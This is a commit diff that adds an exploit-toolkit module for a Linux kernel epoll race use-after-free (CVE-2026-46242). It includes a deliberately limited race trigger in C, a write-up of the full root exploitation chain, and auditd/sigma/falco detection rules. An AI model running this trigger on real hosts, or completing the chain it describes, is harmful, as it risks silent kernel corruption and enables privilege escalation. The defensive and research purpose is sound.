modules: add bad_epoll (CVE-2026-46242, "Bad Epoll" epoll teardown race UAF)

Jaeyoung Chung's kernelCTF "Bad Epoll": a race-condition use-after-free in
fs/eventpoll.c. ep_remove() clears file->f_ep under f_lock but keeps using
the file (hlist_del_rcu + unlock) while a concurrent __fput() frees the
still-referenced struct eventpoll. Reachable by any unprivileged user with
no userns / CONFIG / capability; weaponised via cross-cache to a struct
file, /proc/self/fdinfo arb-read, and ROP. Introduced 58c9b016e128 (6.4),
fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13. CWE-416; not in KEV.

The corpus's first epoll / VFS-teardown module. Shipped as a reconstructed,
deliberately under-driven trigger on the stackrot / nft_catchall contract:
detect() is a pure version gate (>= 6.4 and below the on-branch fix; no
userns precondition -- epoll needs none); exploit() forks a CPU-pinned
child that exercises the ep_remove-vs-__fput close window a hard-bounded 48
attempts / 2s and returns EXPLOIT_FAIL. It does not grind the race to a
win, does not do the cross-cache reclaim, and does not bundle the fdinfo
R/W + ROP (a won race frees a live struct file and rarely trips KASAN ->
silent-corruption risk).

Wired: registry, Makefile, safety rank (12 -- lowest in the corpus; a
kernel race is the least predictable class), 5 detect() test rows (version
gating), CVE metadata (sorted insert, CWE-416 / T1068 / not-KEV), README +
CVES.md + website counts (44/39), RELEASE_NOTES v0.9.12, and a verify-vm
target (sweep pending). Detection rules are intentionally weak/structural
(epoll ubiquitous, rarely KASAN) -- post-exploitation euid-0 transition,
no yara. Also corrects pre-existing README drift in the "not yet verified"
count (8 -> 11). Not VM-verified, so the verified count stays 28 of 39.
Version 0.9.12. Credit: Jaeyoung Chung (J-jaeyoung).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KUq4DGXSPBmPkAyJ9WnM9n

modules/bad_epoll_cve_2026_46242/MODULE.md

@@ -0,0 +1,106 @@
+# bad_epoll — CVE-2026-46242
+
+"Bad Epoll" — a race-condition use-after-free in the Linux kernel epoll
+subsystem (`fs/eventpoll.c`) reachable by **any unprivileged local user**.
+No user namespace, no capability, no special `CONFIG` — `epoll_create1(2)`,
+`epoll_ctl(2)`, and `close(2)` are available to everyone, which is what
+makes this bug unusually dangerous.
+
+## The bug
+
+On the file-teardown path, `ep_remove()` clears `file->f_ep` under
+`file->f_lock` but keeps **using** the file inside the same critical
+section — the `hlist_del_rcu()` walk over the eventpoll's `refs` list and
+the trailing `spin_unlock()`. A concurrent `__fput()` of a linked epoll
+file can observe the transient `NULL` `f_ep`, skip
+`eventpoll_release_file()`, and jump straight to `f_op->release`, freeing
+a `struct eventpoll` that the first path is still walking →
+**use-after-free** on a live kernel object.
+
+The public exploit (Jaeyoung Chung, submitted to Google's kernelCTF)
+arranges four epoll objects in two pairs — one pair drives the race, the
+other is the victim — and converts the 8-byte UAF write into control of a
+`struct file` via a **cross-cache** attack (the freed `eventpoll` slab
+page is drained to the buddy allocator and reclaimed as pipe backing
+buffers). From there it reads arbitrary kernel memory through
+`/proc/self/fdinfo` and ROPs to a root shell. Roughly **99% reliable**
+despite a race window only ~6 instructions wide; the racer widens it with
+`close(dup())` storms that induce false-sharing on the file's `f_count`
+cache line. It **rarely trips KASAN**, which is why the bug survived three
+years and why it is hard to detect at runtime.
+
+## Affected range
+
+| | |
+|---|---|
+| Vulnerable path introduced | commit `58c9b016e128` — Linux **6.4** (2023-04-08) |
+| Fixed upstream | commit `a6dc643c69311677c574a0f17a3f4d66a5f3744b` — merged for **7.1-rc1** (2026-04-24) |
+| Stable backport | **7.0.13** (Debian forky `7.0.13-1` / sid `7.0.14-1`) |
+| Still vulnerable at time of writing | trixie **6.12.x** (no backport yet); 6.6 LTS pending |
+| Not affected | 6.1 and older (predate the bug — Debian: "vulnerable code not present") |
+| NVD class | CWE-416 (Use After Free) via CWE-362 (race) |
+| CISA KEV | no (brand new) |
+
+Table threshold is a single `{7,0,13}` entry — `kernel_range_is_patched()`
+treats 7.1+ as patched-via-mainline and everything in `[6.4, 7.0.13)` as
+vulnerable, matching the Debian tracker. Add 6.6.x / 6.12.x rows when
+those LTS backports land (`tools/refresh-kernel-ranges.py` flags them).
+
+## Trigger / detection
+
+`detect()` is a **pure version gate** — no active probe, because there is
+no cheap, safe way to distinguish a vulnerable kernel from a patched one
+without actually winning the race (the dangerous part). It returns `OK`
+below 6.4 or on a patched kernel, and `VULNERABLE` in range. There is **no
+`PRECOND_FAIL` userns path** the way `nft_catchall` has — epoll needs no
+namespace, so there is no unprivileged-userns stopgap to report or to
+harden with.
+
+`exploit()` forks a CPU-pinned child that builds the epoll race pair (a
+waiter eventpoll watching a target eventpoll) and exercises the
+`ep_remove`-vs-`__fput` concurrent-close window a **hard-bounded** number
+of times (48 attempts / 2 s), widening it with `close(dup())`
+false-sharing storms, snapshots the `eventpoll`/`kmalloc-192` slab, and
+returns `EXPLOIT_FAIL`.
+
+It is **deliberately under-driven**. A *won* race frees a live
+`struct eventpoll` — genuine kernel memory corruption that rarely trips
+KASAN, so on a vulnerable production host a completed race can silently
+destabilise the box rather than cleanly oops. This module therefore does
+**not** grind the race to a win, does **not** perform the cross-cache
+reclaim, and does **not** bundle the per-kernel `fdinfo` arbitrary-read +
+ROP that lands root (per-build offsets refused). The trigger is
+**reconstructed from the public kernelCTF PoC and is not VM-verified**. It
+never claims root it did not get.
+
+Because a kernel race is the least predictable class in the corpus — and
+this one can corrupt memory invisibly — `bad_epoll` carries the **lowest
+`--auto` safety rank** (see `module_safety_rank()` in `skeletonkey.c`), so
+`--auto` only ever reaches for it after every safer vulnerable module.
+
+## Detection is hard — read this before shipping the rules
+
+Unlike most modules, `bad_epoll` has **no high-fidelity signature**.
+`epoll_create1` / `epoll_ctl` / `close` is the steady-state behaviour of
+nginx, systemd, and every language runtime's event loop; the exploit
+looks identical and rarely trips KASAN. The shipped auditd/sigma/falco
+rules therefore key on the **post-exploitation** tell — an unprivileged
+process transitioning to euid 0 without a setuid `execve` — plus a
+recommendation to monitor kernel logs for oops/BUG lines. Expect false
+positives from legitimate privilege-management daemons and tune per
+environment. There is no yara rule (no file artifact). Treat this module
+as much as a *blue-team teaching case* — "here is a root LPE your existing
+stack is nearly blind to" — as an offensive one.
+
+## Fix / mitigation
+
+Upgrade the kernel (>= 7.0.13, or 7.1+). There is **no partial
+mitigation**: epoll cannot be disabled in practice, and no
+`unprivileged_userns_clone` / sysctl toggle closes this path the way it
+does for the netfilter bugs. `mitigate()` is `NULL` for that reason.
+
+## Credit
+
+Discovery, exploitation, and the public kernelCTF PoC:
+**Jaeyoung Chung** (`J-jaeyoung`). Upstream fix `a6dc643c6931`. See
+`NOTICE.md`.

modules/bad_epoll_cve_2026_46242/NOTICE.md

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+# NOTICE — bad_epoll (CVE-2026-46242)
+
+## Vulnerability
+
+**CVE-2026-46242** — "Bad Epoll", a **race-condition use-after-free** in
+the Linux kernel epoll subsystem (`fs/eventpoll.c`). On the file-teardown
+path, `ep_remove()` clears `file->f_ep` under `file->f_lock` but continues
+to use the file inside the critical section (`hlist_del_rcu()` over the
+eventpoll `refs` list + `spin_unlock()`). A concurrent `__fput()` of a
+linked epoll file observes the transient `NULL` `f_ep`, skips
+`eventpoll_release_file()`, and proceeds to `f_op->release`, freeing a
+`struct eventpoll` still in use → UAF.
+
+The bug is reachable by **any unprivileged local user** — `epoll_create1`,
+`epoll_ctl`, and `close` require no capability, no user namespace, and no
+special kernel config. Exploitation converts the 8-byte UAF write into
+control of a `struct file` via a cross-cache attack, gains arbitrary
+kernel read through `/proc/self/fdinfo`, and ROPs to a root shell —
+roughly 99% reliable despite a ~6-instruction race window. It also affects
+Android. NVD class: **CWE-416** (Use After Free), with a **CWE-362** race
+root cause. **Not** in CISA KEV (brand new).
+
+## Research credit
+
+- **Discovery, exploitation, and public PoC** by **Jaeyoung Chung**
+  (GitHub `J-jaeyoung`), submitted as a zero-day to **Google's kernelCTF**
+  program. Repository: <https://github.com/J-jaeyoung/bad-epoll> and the
+  kernelCTF submission under
+  `J-jaeyoung/security-research` (`CVE-2026-46242_lts_cos`, target
+  `lts-6.12.67`). SKELETONKEY's trigger reconstruction is informed by that
+  public PoC (the epoll object graph and the `ep_remove`-vs-`__fput`
+  close-race shape only — no offsets or ROP are reused).
+- **Introduced** by commit `58c9b016e128` (Linux 6.4, 2023-04-08).
+- **Fixed upstream** by commit
+  `a6dc643c69311677c574a0f17a3f4d66a5f3744b`, merged for **7.1-rc1**
+  (2026-04-24); stable backport **7.0.13**.
+- Debian security tracker (authoritative backport versions):
+  <https://security-tracker.debian.org/tracker/CVE-2026-46242> — forky
+  `7.0.13-1` / sid `7.0.14-1` fixed; trixie 6.12.x still vulnerable at time
+  of writing; bookworm 6.1 and bullseye 5.10 "not affected — vulnerable
+  code not present".
+
+All credit for finding, analysing, and exploiting this bug belongs to
+Jaeyoung Chung and to the upstream maintainers who fixed it. SKELETONKEY
+is the bundling and bookkeeping layer only.
+
+## SKELETONKEY role
+
+🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
+the corpus's first epoll / VFS-file-teardown module and its cleanest
+example of an SMP kernel race, shipped on the same "fire the bug class and
+stop" contract as `stackrot` (CVE-2023-3269) and `nft_catchall`
+(CVE-2026-23111).
+
+`detect()` is a pure kernel-version gate (vulnerable iff `>= 6.4` and below
+the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not
+affected) — no userns or CONFIG precondition, because none is required.
+`exploit()` forks a CPU-pinned child that builds the epoll race pair and
+exercises the `ep_remove`-vs-`__fput` concurrent-close window a
+hard-bounded number of times (48 attempts / 2 s), widening it with
+`close(dup())` false-sharing storms, snapshots the eventpoll slab, and
+returns `EXPLOIT_FAIL`.
+
+It is **deliberately under-driven**: a won race frees a live
+`struct eventpoll` (real corruption that rarely trips KASAN), so the module
+does not grind the race to a win, does not perform the cross-cache reclaim,
+and does not bundle the `/proc/self/fdinfo` arbitrary-read + ROP root-pop
+(per-build offsets refused). The trigger is reconstructed from the public
+kernelCTF PoC, not VM-verified — it never claims root it did not get. It
+carries the lowest `--auto` safety rank in the corpus.

modules/bad_epoll_cve_2026_46242/skeletonkey_modules.c

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+/*
+ * bad_epoll_cve_2026_46242 — SKELETONKEY module
+ *
+ * CVE-2026-46242 — "Bad Epoll", a race-condition use-after-free in the
+ * Linux kernel epoll subsystem (fs/eventpoll.c). On the file-teardown
+ * path, ep_remove() clears file->f_ep under file->f_lock but keeps
+ * *using* the file inside the critical section (the hlist_del_rcu() over
+ * the eventpoll's refs list + spin_unlock). A concurrent __fput() of a
+ * linked epoll file can observe the transient NULL f_ep, skip
+ * eventpoll_release_file(), and go straight to f_op->release — freeing a
+ * struct eventpoll that the first path is still walking. The result is a
+ * UAF on a live kernel object reachable by ANY unprivileged local user:
+ * epoll_create1(2) / epoll_ctl(2) / close(2) need no capability, no user
+ * namespace, and no special CONFIG (epoll is always built in). That is
+ * what makes it nasty — there is no unprivileged-userns stopgap to close
+ * the way there is for the netfilter bugs; the only fix is to patch.
+ *
+ * Public exploit (Jaeyoung Chung / J-jaeyoung, "bad-epoll"), submitted
+ * to Google's kernelCTF: four epoll objects in two pairs — one pair
+ * drives the race, the other is the victim — turn the 8-byte UAF write
+ * into control of a struct file via a cross-cache attack, then arbitrary
+ * kernel read via /proc/self/fdinfo and a ROP chain to a root shell.
+ * ~99% reliable despite a race window only ~6 instructions wide; it
+ * rarely trips KASAN, which is precisely why the bug hid for three
+ * years.
+ *
+ * CWE-416 (Use After Free) via CWE-362 (race). Introduced by commit
+ * 58c9b016e128 (Linux 6.4, 2023-04-08); fixed by commit
+ * a6dc643c69311677c574a0f17a3f4d66a5f3744b (merged for 7.1-rc1,
+ * 2026-04-24), stable backport 7.0.13. NOT in CISA KEV (brand new).
+ *
+ * STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
+ *   This is a genuine SMP kernel race that, if *won*, frees a live
+ *   struct eventpoll — real memory corruption that (per the public
+ *   analysis) rarely trips KASAN, so a won-but-not-completed race can
+ *   silently destabilise a vulnerable host rather than cleanly oops.
+ *   For that reason this module is deliberately UNDER-DRIVEN: exploit()
+ *   builds the epoll object graph and exercises the concurrent-close
+ *   window (ep_remove vs __fput) a small, bounded number of times inside
+ *   a fork-isolated child, snapshots the eventpoll slab, and STOPS. It
+ *   does NOT grind the race to a win, does NOT perform the cross-cache
+ *   reclaim, and does NOT bundle the per-kernel fdinfo arbitrary-read +
+ *   ROP that lands root (per-build offsets refused). It returns
+ *   EXPLOIT_FAIL and never claims root it did not get. The trigger is
+ *   reconstructed from the public kernelCTF PoC, not VM-verified. This
+ *   is why it carries the lowest safety rank in --auto (a kernel race is
+ *   the least predictable class; see skeletonkey.c module_safety_rank).
+ *
+ * detect() is a pure version gate: vulnerable iff the running kernel is
+ *   >= 6.4 (the commit that introduced the bug) AND below the fix on its
+ *   branch (Debian: bookworm/6.1 and bullseye/5.10 are "not affected —
+ *   vulnerable code not present"; trixie/6.12 still vulnerable at time of
+ *   writing; forky/sid fixed at 7.0.13/7.0.14). No userns / CONFIG
+ *   precondition — any unprivileged user can reach it.
+ *
+ * Affected range (Debian security tracker, source of record):
+ *   introduced 6.4 (58c9b016e128); mainline fix in 7.1-rc1
+ *   (a6dc643c6931); stable backport 7.0.13. 6.6/6.12 LTS backports had
+ *   not landed at time of writing → version-only VULNERABLE there
+ *   (tools/refresh-kernel-ranges.py will extend the table as distros
+ *   publish). 6.1 and older predate the bug.
+ *
+ * arch_support: x86_64 (the cross-cache groom + any future finisher are
+ *   x86_64-tuned; detect() and the reachability trigger are arch-neutral
+ *   but we only claim x86_64 for exploit()).
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+
+#include <stdint.h>
+#include <stdatomic.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <time.h>
+#include <sched.h>
+#include <pthread.h>
+#include <signal.h>
+#include <sys/wait.h>
+#include <sys/epoll.h>
+
+/* ------------------------------------------------------------------
+ * Kernel-range table. The fix landed mainline in 7.1-rc1
+ * (a6dc643c6931); the only stable backport that had shipped at time of
+ * writing is 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1). A single
+ * {7,0,13} entry plus the ">= 6.4 introduced" gate below is sufficient:
+ * kernel_range_is_patched() treats any branch strictly newer than every
+ * entry (i.e. 7.1+) as patched-via-mainline, and every branch at or
+ * below 7.0 with no exact entry (6.4..6.12, 7.0.<13) as still
+ * vulnerable — which is exactly the Debian tracker's verdict. Add
+ * 6.6.x / 6.12.x entries here when those LTS backports land (the drift
+ * checker flags them). security-tracker.debian.org is the source.
+ * ------------------------------------------------------------------ */
+static const struct kernel_patched_from bad_epoll_patched_branches[] = {
+    {7, 0, 13},   /* 7.0.x (Debian forky 7.0.13-1 / sid 7.0.14-1); 7.1+ inherits */
+};
+
+static const struct kernel_range bad_epoll_range = {
+    .patched_from = bad_epoll_patched_branches,
+    .n_patched_from = sizeof(bad_epoll_patched_branches) /
+                      sizeof(bad_epoll_patched_branches[0]),
+};
+
+static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
+{
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] bad_epoll: host fingerprint missing kernel "
+                            "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* The vulnerable ep_remove()/__fput() interleaving was introduced by
+     * commit 58c9b016e128 in 6.4. Below that the code pattern is absent
+     * (Debian marks bookworm/6.1 and bullseye/5.10 "not affected —
+     * vulnerable code not present"). */
+    if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 4, 0)) {
+        if (!ctx->json)
+            fprintf(stderr, "[i] bad_epoll: kernel %s predates the vulnerable "
+                            "epoll teardown path (introduced 6.4) — not affected\n",
+                    v->release);
+        return SKELETONKEY_OK;
+    }
+
+    if (kernel_range_is_patched(&bad_epoll_range, v)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] bad_epoll: kernel %s is patched (>= 7.0.13 / "
+                            "7.1+ inherits the mainline fix)\n", v->release);
+        return SKELETONKEY_OK;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[!] bad_epoll: VULNERABLE — kernel %s in range "
+                        "[6.4, fix); epoll teardown race reachable by any "
+                        "unprivileged user (no userns / CONFIG gate)\n",
+                v->release);
+        fprintf(stderr, "[i] bad_epoll: no unprivileged-userns stopgap applies "
+                        "here — the only fix is to patch the kernel\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+/* ------------------------------------------------------------------
+ * Reconstructed reachability trigger (deliberately under-driven).
+ *
+ * Faithful minimal shape of the public PoC's race pair: a "waiter"
+ * epoll watches a "target" epoll; the two are then closed concurrently
+ * from CPU-pinned contexts so ep_remove() (driven by fput of the
+ * watched target) races __fput() of the waiter eventpoll. The PoC
+ * widens the ~6-instruction window with close(dup(target)) storms that
+ * induce false-sharing on the file's f_count cache line and stall the
+ * racer's read of f_op.
+ *
+ * We reproduce the OBJECT GRAPH and the CONCURRENT-CLOSE WINDOW with a
+ * small iteration + wall-clock budget, then stop. We do NOT reclaim the
+ * freed slab, do NOT run the depth-3 nesting oracle that only fires
+ * after a real UAF write, and do NOT weaponise. The honest witness is
+ * therefore coarse: a signal in the isolated child (a KASAN oops or
+ * corruption fault, if the race happened to fire) and an eventpoll-slab
+ * delta. Absence of a witness does NOT prove the host is safe.
+ * ------------------------------------------------------------------ */
+#define BEP_RACE_ITERS        48       /* bounded — reachability probe, not a winner */
+#define BEP_DUP_CLOSE_ITERS   32       /* window-widening false-sharing storm */
+#define BEP_RACE_BUDGET_SECS  2        /* honest short cap (public PoC uses 5 min) */
+
+static void bep_pin_cpu(int cpu)
+{
+    cpu_set_t set;
+    CPU_ZERO(&set);
+    CPU_SET(cpu, &set);
+    (void)sched_setaffinity(0, sizeof set, &set);   /* best-effort */
+}
+
+struct bep_racer {
+    int              waiter_fd;   /* fd the racer closes */
+    atomic_int      *go;          /* fire signal from main */
+    atomic_int      *closed;      /* set once the racer has closed */
+};
+
+static void *bep_racer_fn(void *arg)
+{
+    struct bep_racer *r = (struct bep_racer *)arg;
+    bep_pin_cpu(0);
+    /* Spin until main is at the close point, then race. */
+    while (atomic_load_explicit(r->go, memory_order_acquire) == 0)
+        ;
+    close(r->waiter_fd);
+    atomic_store_explicit(r->closed, 1, memory_order_release);
+    return NULL;
+}
+
+static long bep_slabinfo_active(const char *slab)
+{
+    FILE *f = fopen("/proc/slabinfo", "r");
+    if (!f) return -1;
+    char line[512];
+    long active = -1;
+    size_t n = strlen(slab);
+    while (fgets(line, sizeof line, f)) {
+        if (strncmp(line, slab, n) == 0 && line[n] == ' ') {
+            long a;
+            if (sscanf(line + n, " %ld", &a) == 1) active = a;
+            break;
+        }
+    }
+    fclose(f);
+    return active;
+}
+
+/* One race attempt: build (target, waiter) with waiter watching target,
+ * then close both concurrently. Returns 0 normally; the interesting
+ * outcome (a won race) manifests as a signal that the parent observes,
+ * not a return value. */
+static void bep_one_attempt(void)
+{
+    int target = epoll_create1(EPOLL_CLOEXEC);
+    if (target < 0) return;
+    int waiter = epoll_create1(EPOLL_CLOEXEC);
+    if (waiter < 0) { close(target); return; }
+
+    /* waiter watches target — this is the link that makes closing target
+     * drive eventpoll_release_file()/ep_remove() over waiter's eventpoll. */
+    struct epoll_event ev = { .events = EPOLLIN };
+    ev.data.fd = target;
+    if (epoll_ctl(waiter, EPOLL_CTL_ADD, target, &ev) < 0) {
+        close(waiter); close(target); return;
+    }
+
+    atomic_int go = 0, closed = 0;
+    struct bep_racer ra = { .waiter_fd = waiter, .go = &go, .closed = &closed };
+    pthread_t th;
+    if (pthread_create(&th, NULL, bep_racer_fn, &ra) != 0) {
+        close(waiter); close(target); return;
+    }
+
+    /* Widen the window: false-sharing storm on target's f_count line,
+     * then release the racer and close target ourselves so ep_remove
+     * (our fput of the watched file) overlaps __fput of the waiter. */
+    for (int i = 0; i < BEP_DUP_CLOSE_ITERS; i++) {
+        int d = dup(target);
+        if (d >= 0) close(d);
+    }
+    atomic_store_explicit(&go, 1, memory_order_release);
+    close(target);
+
+    pthread_join(th, NULL);
+}
+
+static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
+{
+    skeletonkey_result_t pre = bad_epoll_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
+        fprintf(stderr, "[-] bad_epoll: detect() says not vulnerable; refusing\n");
+        return pre;
+    }
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
+        fprintf(stderr, "[i] bad_epoll: already running as root\n");
+        return SKELETONKEY_OK;
+    }
+
+    if (!ctx->json)
+        fprintf(stderr, "[*] bad_epoll: reconstructed reachability probe — builds "
+                        "the epoll race pair and exercises the ep_remove vs __fput "
+                        "close window (%d bounded attempts, %ds cap), then stops. "
+                        "The cross-cache → struct file control → fdinfo arb-read → "
+                        "ROP root-pop is NOT bundled.\n",
+                BEP_RACE_ITERS, BEP_RACE_BUDGET_SECS);
+
+    /* Fork-isolated: a won race frees a live struct eventpoll. On a
+     * KASAN kernel that oopses (contained to the child); on a plain
+     * vulnerable kernel it may corrupt — which is exactly why we bound
+     * the attempt count hard and never reclaim. */
+    pid_t child = fork();
+    if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
+
+    if (child == 0) {
+        bep_pin_cpu(1);
+        long before = bep_slabinfo_active("eventpoll");
+        if (before < 0) before = bep_slabinfo_active("kmalloc-192");
+
+        time_t deadline = time(NULL) + BEP_RACE_BUDGET_SECS;
+        int done = 0;
+        for (int i = 0; i < BEP_RACE_ITERS && time(NULL) < deadline; i++) {
+            bep_one_attempt();
+            done = i + 1;
+        }
+
+        long after = bep_slabinfo_active("eventpoll");
+        if (after < 0) after = bep_slabinfo_active("kmalloc-192");
+        if (!ctx->json)
+            fprintf(stderr, "[i] bad_epoll: %d close-race attempts fired; "
+                            "eventpoll/kmalloc-192 active: %ld → %ld\n",
+                    done, before, after);
+        _exit(100);   /* honest: window exercised, race not driven to a win */
+    }
+
+    int status;
+    waitpid(child, &status, 0);
+    if (WIFSIGNALED(status)) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] bad_epoll: child died by signal %d — the epoll "
+                            "teardown race may have fired (KASAN oops / corruption "
+                            "fault). This is the bug, but no root was obtained.\n",
+                    WTERMSIG(status));
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    if (WIFEXITED(status) && WEXITSTATUS(status) == 100) {
+        if (!ctx->json) {
+            fprintf(stderr, "[!] bad_epoll: race window exercised (reconstructed "
+                            "primitive). Full chain is NOT bundled and the trigger "
+                            "is not VM-verified — honest EXPLOIT_FAIL.\n");
+            fprintf(stderr, "[i] bad_epoll: to complete: port the public kernelCTF "
+                            "cross-cache reclaim (eventpoll slab → pipe buffers) + "
+                            "/proc/self/fdinfo arbitrary read + ROP for "
+                            "CVE-2026-46242.\n");
+        }
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    if (!ctx->json)
+        fprintf(stderr, "[-] bad_epoll: probe setup failed (child rc=%d)\n",
+                WIFEXITED(status) ? WEXITSTATUS(status) : -1);
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+#else  /* !__linux__ */
+
+static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] bad_epoll: Linux-only module (epoll teardown race "
+                        "UAF) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] bad_epoll: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+
+#endif /* __linux__ */
+
+/* ----- Embedded detection rules -----
+ *
+ * Honesty note (see MODULE.md): epoll is one of the most heavily used
+ * kernel interfaces on Earth. epoll_create1 / epoll_ctl / close from an
+ * unprivileged process is the steady-state behaviour of nginx, systemd,
+ * every language runtime's event loop, etc. There is NO clean behavioural
+ * signature for this exploit, and it rarely trips KASAN. These rules are
+ * therefore intentionally weak/structural — the reliable signal is the
+ * post-exploitation privilege transition, not the epoll traffic. Tune
+ * hard or you will drown in false positives.
+ */
+static const char bad_epoll_auditd[] =
+    "# Bad Epoll — epoll teardown race UAF (CVE-2026-46242) — auditd rules\n"
+    "# There is no high-fidelity syscall signature: epoll_create1/epoll_ctl\n"
+    "# are ubiquitous and benign. The only reliable smoking gun is an\n"
+    "# unprivileged process transitioning to euid 0 without going through a\n"
+    "# setuid binary. Pair with kernel-log monitoring for KASAN/oops lines.\n"
+    "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n"
+    "-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n";
+
+static const char bad_epoll_sigma[] =
+    "title: Possible CVE-2026-46242 Bad Epoll teardown race UAF\n"
+    "id: 7c1e9d2a-skeletonkey-bad-epoll\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Bad Epoll (CVE-2026-46242) is a race UAF in fs/eventpoll.c reachable\n"
+    "  by any unprivileged user via epoll_create1/epoll_ctl/close. There is\n"
+    "  no reliable syscall-level signature — epoll traffic is ubiquitous and\n"
+    "  the exploit rarely trips KASAN. This rule keys on the POST-exploitation\n"
+    "  tell: a previously-unprivileged process gaining euid 0 with no setuid\n"
+    "  execve in its ancestry. Expect false positives from legitimate\n"
+    "  privilege-management daemons; correlate with kernel oops/BUG lines.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  uid0:  {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
+    "  unpriv: {auid|expression: '>= 1000'}\n"
+    "  condition: uid0 and unpriv\n"
+    "level: medium\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2026.46242]\n";
+
+static const char bad_epoll_falco[] =
+    "- rule: Unprivileged process gained root, no setuid exec (possible CVE-2026-46242)\n"
+    "  desc: |\n"
+    "    Bad Epoll (CVE-2026-46242) epoll teardown race UAF has no clean\n"
+    "    behavioural signature — epoll syscalls are ubiquitous. This rule\n"
+    "    fires on the post-exploitation effect: a non-root process becoming\n"
+    "    root outside a setuid binary. False positives: privilege-management\n"
+    "    daemons, su/sudo flows (filter those). Correlate with kernel oops.\n"
+    "  condition: >\n"
+    "    evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
+    "    not proc.is_setuid = true and user.uid != 0\n"
+    "  output: >\n"
+    "    Non-setuid unprivileged->root transition (possible CVE-2026-46242 Bad Epoll)\n"
+    "    (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid)\n"
+    "  priority: WARNING\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2026.46242]\n";
+
+const struct skeletonkey_module bad_epoll_module = {
+    .name           = "bad_epoll",
+    .cve            = "CVE-2026-46242",
+    .summary        = "epoll ep_remove-vs-__fput teardown race UAF (\"Bad Epoll\") — frees a live struct eventpoll; unprivileged, no userns needed",
+    .family         = "eventpoll",
+    .kernel_range   = "6.4 <= K < fix (introduced 58c9b016e128 / 6.4); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected",
+    .detect         = bad_epoll_detect,
+    .exploit        = bad_epoll_exploit,
+    .mitigate       = NULL,   /* mitigation: upgrade kernel — no unprivileged-userns/CONFIG stopgap applies (epoll needs none) */
+    .cleanup        = NULL,   /* trigger creates only throwaway epoll fds in a fork-isolated child; no host artifacts */
+    .detect_auditd  = bad_epoll_auditd,
+    .detect_sigma   = bad_epoll_sigma,
+    .detect_yara    = NULL,   /* pure in-kernel race — no file artifact to match */
+    .detect_falco   = bad_epoll_falco,
+    .opsec_notes    = "detect() is a pure kernel-version gate (vulnerable iff >= 6.4 introduced AND below the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) — no userns or CONFIG probe, because epoll is reachable by every unprivileged user. exploit() forks a CPU-pinned child that builds the epoll race pair (a waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a hard-bounded number of times (48 attempts / 2s), widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. It is deliberately UNDER-DRIVEN: it does not grind the race to a win, does not perform the cross-cache reclaim, and does not bundle the /proc/self/fdinfo arbitrary-read + ROP root-pop (per-kernel offsets refused); the trigger is reconstructed from the public kernelCTF PoC, not VM-verified. Telemetry footprint is nearly invisible: a burst of epoll_create1/epoll_ctl/dup/close from one process (indistinguishable from any event-loop program) and, only if the race actually fires on a vulnerable host, a possible KASAN oops or silent corruption (the bug rarely trips KASAN). No persistent files. The reliable detection signal is the post-exploitation euid-0 transition, not the epoll activity — see the shipped rules. Lowest --auto safety rank in the corpus: a kernel race that frees a live struct file is the least predictable thing here.",
+    .arch_support   = "x86_64",
+};
+
+void skeletonkey_register_bad_epoll(void)
+{
+    skeletonkey_register(&bad_epoll_module);
+}

modules/bad_epoll_cve_2026_46242/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * bad_epoll_cve_2026_46242 — SKELETONKEY module registry hook
+ */
+
